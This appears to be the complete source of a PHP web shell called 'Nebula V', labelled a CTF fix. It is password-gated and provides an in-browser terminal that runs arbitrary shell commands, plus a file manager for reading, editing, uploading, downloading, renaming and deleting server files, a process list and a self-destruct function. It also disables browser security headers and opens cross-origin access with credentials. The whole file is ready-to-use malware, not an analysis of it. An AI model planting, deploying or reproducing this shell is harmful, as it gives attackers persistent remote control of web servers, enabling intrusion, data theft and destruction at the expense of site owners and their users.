<?php
/*
 * NEBULA V - CTF FIX
 * - Fixed: 500 Error on strict PHP configs
 * - Fixed: getcwd() NULL handling
 * - Fixed: Dynamic function calls
 */

// 1. Output Buffering Başlat
ob_start();

// 2. Error log için (debug)
error_reporting(E_ALL);
ini_set('log_errors', 1);
ini_set('display_errors', 0); // Production'da 0

// 3. Header & Session
@header("Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline';");
@header("X-XSS-Protection: 0");

$self_uri = strtok($_SERVER['REQUEST_URI'] ?? '/', '?');
if (!is_string($self_uri) || $self_uri === '') {
    $self_uri = '/';
}
if ($self_uri[0] !== '/') {
    $self_uri = '/' . ltrim($self_uri, '/');
}

$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if ($origin !== '' && preg_match('#^https?://[A-Za-z0-9.-]+(?::[0-9]{1,5})?$#', $origin)) {
    @header('Vary: Origin');
    @header('Access-Control-Allow-Origin: ' . $origin);
    @header('Access-Control-Allow-Credentials: true');
    @header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    @header('Access-Control-Allow-Headers: Content-Type, X-Requested-With, Accept');
}
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(204);
    exit;
}

$session_ok = @session_start();
if (!$session_ok || !is_array($_SESSION)) {
    // Session başlatılamazsa fallback state cookie ile tutulur
    $_SESSION = array();
}

@ini_set('memory_limit', '128M');
@set_time_limit(0);

// 4. Auth
$auth_hash = "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918";
$auth_cookie = "__nb4a";
$cwd_cookie = "__nb4c";
$cookie_seed = ($_SERVER['HTTP_HOST'] ?? 'localhost') . "|" . __FILE__;
$auth_cookie_value = hash('sha256', $auth_hash . "|" . $cookie_seed);
$is_api_request = isset($_POST['req']);

function nb_set_cookie($name, $value, $expires = 0) {
    $secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
    @setcookie($name, $value, $expires, '/', '', $secure, true);
}

function nb_clear_cookie($name) {
    $secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
    @setcookie($name, '', time() - 3600, '/', '', $secure, true);
}

if (!isset($_SESSION['nebula_auth']) && isset($_COOKIE[$auth_cookie])) {
    $cookie_ok = function_exists('hash_equals')
        ? hash_equals($auth_cookie_value, $_COOKIE[$auth_cookie])
        : ($auth_cookie_value === $_COOKIE[$auth_cookie]);
    if ($cookie_ok) {
        $_SESSION['nebula_auth'] = true;
    }
}

if (!isset($_SESSION['cwd']) && isset($_COOKIE[$cwd_cookie]) && @is_dir($_COOKIE[$cwd_cookie])) {
    $_SESSION['cwd'] = $_COOKIE[$cwd_cookie];
}

if (isset($_POST['req']) && $_POST['req'] === 'burn') { 
    @unlink(__FILE__); 
    die(json_encode(['status' => 'destroyed'])); 
}

if (isset($_GET['logout'])) { 
    if (session_status() === PHP_SESSION_ACTIVE) {
        session_destroy();
    }
    nb_clear_cookie($auth_cookie);
    nb_clear_cookie($cwd_cookie);
    header('Location: '.strtok($_SERVER['REQUEST_URI'], '?')); 
    exit; 
}

if (!isset($_SESSION['nebula_auth'])) {
    if (isset($_POST['k']) && hash('sha256', $_POST['k']) === $auth_hash) {
        $_SESSION['nebula_auth'] = true;
        $_SESSION['cwd'] = @getcwd() ?: '/';
        nb_set_cookie($auth_cookie, $auth_cookie_value, time() + 86400 * 30);
        nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
    } else {
        ob_end_clean();
        if ($is_api_request) {
            header('Content-Type: application/json');
            http_response_code(401);
            die(json_encode(['error' => 'AUTH_REQUIRED']));
        }
        die('<!DOCTYPE html><body style="background:#020617;display:flex;height:100vh;align-items:center;justify-content:center"><form method="post"><input type="password" name="k" style="background:#1e293b;border:1px solid #334155;color:white;padding:10px;border-radius:5px;outline:none" placeholder="Key" autofocus></form></body></html>');
    }
}

// 5. Core - Güvenli dinamik fonksiyon çağrısı
class Core {
    public function r($n, ...$a) { 
        if($n=='x') {
            return @shell_exec($a[0]." 2>&1");
        }
        $m = [
            'e'=>'exec', 
            's'=>'scandir', 
            'f'=>'file_get_contents', 
            'w'=>'file_put_contents', 
            'r'=>'rename', 
            'u'=>'unlink', 
            'c'=>'chmod'
        ];
        if(isset($m[$n]) && function_exists($m[$n])) {
            return @call_user_func_array($m[$n], $a);
        }
        return false;
    }
}
$sys = new Core();

// 6. CWD Handling - NULL-safe
$current_dir = @getcwd();
if($current_dir === false || $current_dir === null) {
    $current_dir = '/';
}

if(!isset($_SESSION['cwd']) || empty($_SESSION['cwd']) || !@is_dir($_SESSION['cwd'])) {
    $_SESSION['cwd'] = $current_dir;
}
nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);

$cwd = $_SESSION['cwd']; // JavaScript için
@chdir($_SESSION['cwd']); 

// 7. API Handler
if (isset($_POST['req'])) {
    if(ob_get_level() > 0) ob_clean(); 
    $req = $_POST['req'];
    if($req !== 'download') header('Content-Type: application/json');

    if ($req === 'cmd') {
        $cmd = $_POST['c']; $out = '';
        if (preg_match('/^cd\s+(.*)$/', $cmd, $m)) {
            $target = trim($m[1]); 
            if($target == '') $target = '/';
            if (@chdir($target)) { 
                $_SESSION['cwd'] = @getcwd() ?: $target; 
                nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
            } else { 
                $out = "cd: error: $target"; 
            }
        } else { 
            $out = $sys->r('x', $cmd); 
        }
        echo json_encode(['out' => $out, 'cwd' => $_SESSION['cwd']]); 
        exit;
    }

    if ($req === 'list') {
        $path = $_POST['path'] ?? $_SESSION['cwd'];
        if(empty($path)) $path = $_SESSION['cwd'];
        if(@is_dir($path)) {
            @chdir($path); 
            $_SESSION['cwd'] = $path;
            nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
            $items = @scandir($path);
            $res = [];
            if($items) {
                foreach($items as $i) {
                    if($i == '.') continue;
                    $p = $path . DIRECTORY_SEPARATOR . $i;
                    $stat = @stat($p);
                    $res[] = [
                        'n' => $i,
                        'd' => @is_dir($p),
                        's' => @is_dir($p) ? '-' : round(($stat['size']??0)/1024, 2).' KB',
                        'p' => substr(sprintf('%o', @fileperms($p)), -4),
                    ];
                }
            }
            echo json_encode(['files' => $res, 'cwd' => $path]);
        } else {
            echo json_encode(['error' => 'Path Error']);
        }
        exit;
    }

    if ($req === 'read') { 
        $c = @file_get_contents($_POST['f']);
        echo json_encode(['data' => base64_encode($c)]); 
        exit; 
    }
    
    if ($req === 'save') { 
        echo json_encode(['status' => @file_put_contents($_POST['f'], base64_decode($_POST['c']))]); 
        exit; 
    }
    
    if ($req === 'del') { 
        echo json_encode(['status' => @unlink($_POST['f'])]); 
        exit; 
    }
    
    if ($req === 'rename') { 
        echo json_encode(['status' => @rename($_POST['old'], $_POST['new'])]); 
        exit; 
    }
    
    if ($req === 'upload') { 
        @move_uploaded_file($_FILES['file']['tmp_name'], $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $_FILES['file']['name']); 
        exit; 
    }
    
    if ($req === 'ps') { 
        echo json_encode(['out' => @shell_exec('ps aux')]); 
        exit; 
    }
    
    if ($req === 'download') {
        $f = $_POST['f']; 
        if(file_exists($f)){
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($f).'"');
            header('Content-Length: '.filesize($f));
            readfile($f);
        } 
        exit;
    }
    exit;
}

if(ob_get_level() > 0) ob_clean();
?>
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
    <meta charset="UTF-8">
    <title>Nebula V</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body { font-family: monospace; background: #020617; color: #cbd5e1; }
        .glass { background: rgba(15, 23, 42, 0.9); border-bottom: 1px solid rgba(255,255,255,0.1); }
        .btn-tab { padding: 4px 12px; border-radius: 4px; font-weight: bold; font-size: 12px; text-transform: uppercase; cursor: pointer; }
        .btn-active { background: #4f46e5; color: white; }
        .btn-inactive { color: #94a3b8; }
        .btn-inactive:hover { color: white; }
        .hidden { display: none; }
        ::-webkit-scrollbar { width: 8px; }
        ::-webkit-scrollbar-track { background: #0f172a; }
        ::-webkit-scrollbar-thumb { background: #334155; border-radius: 4px; }
    </style>
</head>
<body class="h-screen flex flex-col overflow-hidden">
    <nav class="glass h-14 flex items-center justify-between px-4 shrink-0">
        <div class="font-bold text-indigo-400 text-lg">NEBULA V</div>
        <div class="flex gap-2 bg-slate-900 p-1 rounded">
            <button id="tab-files" class="btn-tab btn-active" onclick="App.switchTab('files')">Files</button>
            <button id="tab-term" class="btn-tab btn-inactive" onclick="App.switchTab('term')">Terminal</button>
            <button id="tab-proc" class="btn-tab btn-inactive" onclick="App.switchTab('proc')">Process</button>
        </div>
        <div class="flex gap-3 text-xs">
            <button onclick="App.burn()" class="text-red-500 hover:text-red-400">BURN</button>
            <a href="?logout" class="text-slate-400">EXIT</a>
        </div>
    </nav>
    <div class="flex-1 flex flex-col overflow-hidden relative">
        <div id="view-files" class="flex-1 flex flex-col h-full">
            <div class="h-10 bg-slate-900/50 border-b border-white/5 flex items-center px-4 gap-2">
                <button onclick="App.nav('..')" class="text-slate-400 hover:text-white font-bold">⬆</button>
                <div id="breadcrumbs" class="flex items-center overflow-x-auto whitespace-nowrap text-sm"></div>
                <div class="ml-auto">
                    <input type="file" id="file-upload" class="hidden" onchange="App.upload(this)">
                    <label for="file-upload" class="cursor-pointer text-xs bg-indigo-600 px-3 py-1 rounded text-white hover:bg-indigo-500">UPLOAD</label>
                </div>
            </div>
            <div class="flex-1 overflow-y-auto p-4">
                <table class="w-full text-left text-sm text-slate-400">
                    <thead class="text-xs uppercase bg-slate-800/50 text-slate-200"><tr><th class="p-2">Name</th><th class="p-2 w-20">Size</th><th class="p-2 w-20">Perms</th><th class="p-2 w-32 text-right">Actions</th></tr></thead>
                    <tbody id="file-list" class="divide-y divide-white/5"></tbody>
                </table>
            </div>
        </div>
        <div id="view-term" class="flex-1 bg-[#0a0a0a] p-4 flex flex-col font-mono text-sm h-full hidden">
            <div id="term-output" class="flex-1 overflow-y-auto space-y-1 pb-2 break-all"><div class="text-slate-500">Nebula Terminal Ready...</div></div>
            <div class="flex items-center gap-2 bg-white/5 p-2 rounded border border-white/10 mt-auto">
                <span class="text-green-500 font-bold">➜</span><span id="term-cwd" class="text-blue-400 truncate max-w-[150px]">/</span>
                <input type="text" id="term-input" class="bg-transparent flex-1 outline-none text-white placeholder-slate-600" placeholder="Type command..." autocomplete="off">
            </div>
        </div>
        <div id="view-proc" class="flex-1 p-4 flex flex-col overflow-hidden hidden">
            <div class="flex justify-between mb-2"><h2 class="font-bold">Processes</h2><button onclick="App.getPs()" class="text-xs bg-indigo-600 px-2 py-1 rounded text-white">Refresh</button></div>
            <textarea id="proc-out" readonly class="flex-1 bg-slate-900 p-2 text-xs text-green-400 resize-none outline-none font-mono"></textarea>
        </div>
    </div>
    <div id="modal-editor" class="fixed inset-0 bg-black/80 flex items-center justify-center z-50 p-4 hidden">
        <div class="w-full max-w-4xl h-[80vh] bg-slate-900 border border-white/10 rounded flex flex-col shadow-2xl">
            <div class="h-10 bg-slate-800 flex items-center justify-between px-4 border-b border-white/5">
                <span id="editor-title" class="text-xs text-indigo-300"></span>
                <div>
                    <button onclick="document.getElementById('modal-editor').classList.add('hidden')" class="text-slate-400 text-xs mr-2 hover:text-white">Close</button>
                    <button onclick="App.saveFile()" class="bg-indigo-600 text-white text-xs px-3 py-1 rounded hover:bg-indigo-500">Save</button>
                </div>
            </div>
            <textarea id="editor-content" class="flex-1 bg-[#0f172a] p-4 text-slate-300 text-sm font-mono outline-none resize-none"></textarea>
        </div>
    </div>
    <script>
        const App = {
            apiPath: <?php echo json_encode($self_uri); ?>,
            cwd: <?php echo json_encode($cwd); ?>,
            currentFile: '',
            init: function() { this.nav(this.cwd); document.getElementById('term-input').addEventListener('keydown', (e) => { if (e.key === 'Enter') this.runCmd(); }); },
            req: async function(data) {
                let fd = new FormData(); for (let k in data) fd.append(k, data[k]);
                fd.append('_ts', Date.now().toString());
                try {
                    let endpoint = window.location.origin + this.apiPath + window.location.search;
                    let r = await fetch(endpoint, {
                        method: 'POST',
                        body: fd,
                        credentials: 'include',
                        cache: 'no-store',
                        mode: 'cors',
                        headers: { 'Accept': 'application/json, text/plain, */*' }
                    });
                    let raw = await r.text();
                    try {
                        let out = JSON.parse(raw);
                        if (!r.ok && !out.error) out.error = `HTTP ${r.status}`;
                        return out;
                    } catch (parseErr) {
                        let hint = raw.trim().slice(0, 140).replace(/\s+/g, ' ');
                        if (hint.startsWith('<')) {
                            return { error: 'Server HTML response (WAF/Auth)', raw: hint, status: r.status };
                        }
                        return { error: 'Invalid JSON response', raw: hint, status: r.status };
                    }
                } catch(e) {
                    console.error(e);
                    return {error: 'Fetch Error', detail: (e && e.message) ? e.message : 'network blocked'};
                }
            },
            switchTab: function(tab) {
                ['files', 'term', 'proc'].forEach(t => { document.getElementById('view-' + t).classList.add('hidden'); document.getElementById('tab-' + t).classList.replace('btn-active', 'btn-inactive'); });
                document.getElementById('view-' + tab).classList.remove('hidden'); document.getElementById('tab-' + tab).classList.replace('btn-inactive', 'btn-active');
                if(tab === 'term') setTimeout(() => document.getElementById('term-input').focus(), 100); if(tab === 'proc') this.getPs();
            },
            nav: async function(path) {
                let r = await this.req({req: 'list', path: path});
                if (r.error) { alert(`${r.error}\n${r.raw || r.detail || ''}`.trim()); } else {
                    this.cwd = r.cwd.replace(/\\/g, '/'); this.renderFiles(r.files); this.renderBreadcrumbs();
                    document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/';
                }
            },
            renderFiles: function(files) {
                let html = '';
                files.forEach(f => {
                    let icon = f.d ? '📁' : '📄'; let cls = f.d ? 'text-indigo-300 font-bold' : 'text-slate-300';
                    let action = f.d ? `App.nav('${this.cwd}/${f.n}')` : `App.edit('${this.cwd}/${f.n}')`;
                    let permCls = f.p.includes('w') ? 'text-red-400' : 'text-green-400';
                    html += `<tr class="hover:bg-white/5 transition cursor-pointer" onclick="${action}"><td class="p-2 flex items-center gap-2"><span>${icon}</span><span class="${cls}">${f.n}</span></td><td class="p-2 text-xs">${f.s}</td><td class="p-2 text-xs ${permCls}">${f.p}</td><td class="p-2 text-right" onclick="event.stopPropagation()"><button onclick="App.dl('${this.cwd}/${f.n}')" class="text-blue-400 hover:text-white px-1">↓</button><button onclick="App.ren('${f.n}')" class="text-orange-400 hover:text-white px-1">R</button><button onclick="App.del('${this.cwd}/${f.n}')" class="text-red-400 hover:text-white px-1">X</button></td></tr>`;
                });
                document.getElementById('file-list').innerHTML = html;
            },
            renderBreadcrumbs: function() {
                let parts = this.cwd.split('/').filter(p => p); let html = '', currentPath = '';
                parts.forEach(p => { currentPath += '/' + p; html += `<span class="text-slate-600 mx-1">/</span><button onclick="App.nav('${currentPath}')" class="text-indigo-300 hover:text-white hover:underline">${p}</button>`; });
                document.getElementById('breadcrumbs').innerHTML = html || '<span class="text-slate-500 ml-2">/</span>';
            },
            runCmd: async function() {
                let inp = document.getElementById('term-input'); let cmd = inp.value; if (!cmd) return; inp.value = '';
                let outDiv = document.getElementById('term-output'); outDiv.innerHTML += `<div><span class="text-green-500">➜</span> <span class="text-slate-300">${cmd}</span></div>`;
                let r = await this.req({req: 'cmd', c: cmd});
                if (r.error) {
                    outDiv.innerHTML += `<div class="pl-4 text-red-400 whitespace-pre-wrap mb-2">[${r.error}] ${r.raw || r.detail || ''}</div>`;
                    outDiv.scrollTop = outDiv.scrollHeight;
                    return;
                }
                outDiv.innerHTML += `<div class="pl-4 text-slate-400 whitespace-pre-wrap mb-2">${r.out}</div>`; outDiv.scrollTop = outDiv.scrollHeight;
                if (r.cwd) { this.cwd = r.cwd.replace(/\\/g, '/'); document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/'; }
            },
            edit: async function(f) {
                let r = await this.req({req: 'read', f: f}); this.currentFile = f;
                if (r.error) { alert(`${r.error}\n${r.raw || r.detail || ''}`.trim()); return; }
                let content = "";
                try {
                    let raw = atob(r.data);
                    try {
                        content = decodeURIComponent(escape(raw));
                    } catch (utfErr) {
                        content = raw;
                    }
                } catch (base64Err) {
                    content = "CRITICAL ERROR: Base64 Decode Failed.";
                }
                
                document.getElementById('editor-title').innerText = f;
                document.getElementById('editor-content').value = content;
                document.getElementById('modal-editor').classList.remove('hidden');
            },
            saveFile: async function() {
                let content = document.getElementById('editor-content').value;
                let b64;
                try { b64 = btoa(unescape(encodeURIComponent(content))); } catch(e) { b64 = btoa(content); }
                await this.req({req: 'save', f: this.currentFile, c: b64});
                document.getElementById('modal-editor').classList.add('hidden');
            },
            ren: async function(n) { let newN = prompt('Rename:', n); if (newN) { await this.req({req: 'rename', old: this.cwd + '/' + n, new: this.cwd + '/' + newN}); this.nav(this.cwd); } },
            del: async function(f) { if (confirm('Delete?')) { await this.req({req: 'del', f: f}); this.nav(this.cwd); } },
            dl: function(f) { let form = document.createElement('form'); form.method = 'POST'; form.innerHTML = `<input name="req" value="download"><input name="f" value="${f}">`; document.body.append(form); form.submit(); form.remove(); },
            upload: async function(el) { let f = el.files[0]; if (!f) return; await this.req({req: 'upload', file: f}); this.nav(this.cwd); },
            getPs: async function() { let r = await this.req({req: 'ps'}); document.getElementById('proc-out').value = r.error ? `[${r.error}] ${r.raw || r.detail || ''}` : r.out; },
            burn: async function() { if(confirm('Self Destruct?')) { await this.req({req: 'burn'}); location.reload(); } }
        };
        App.init();
    </script>
</body>
</html>
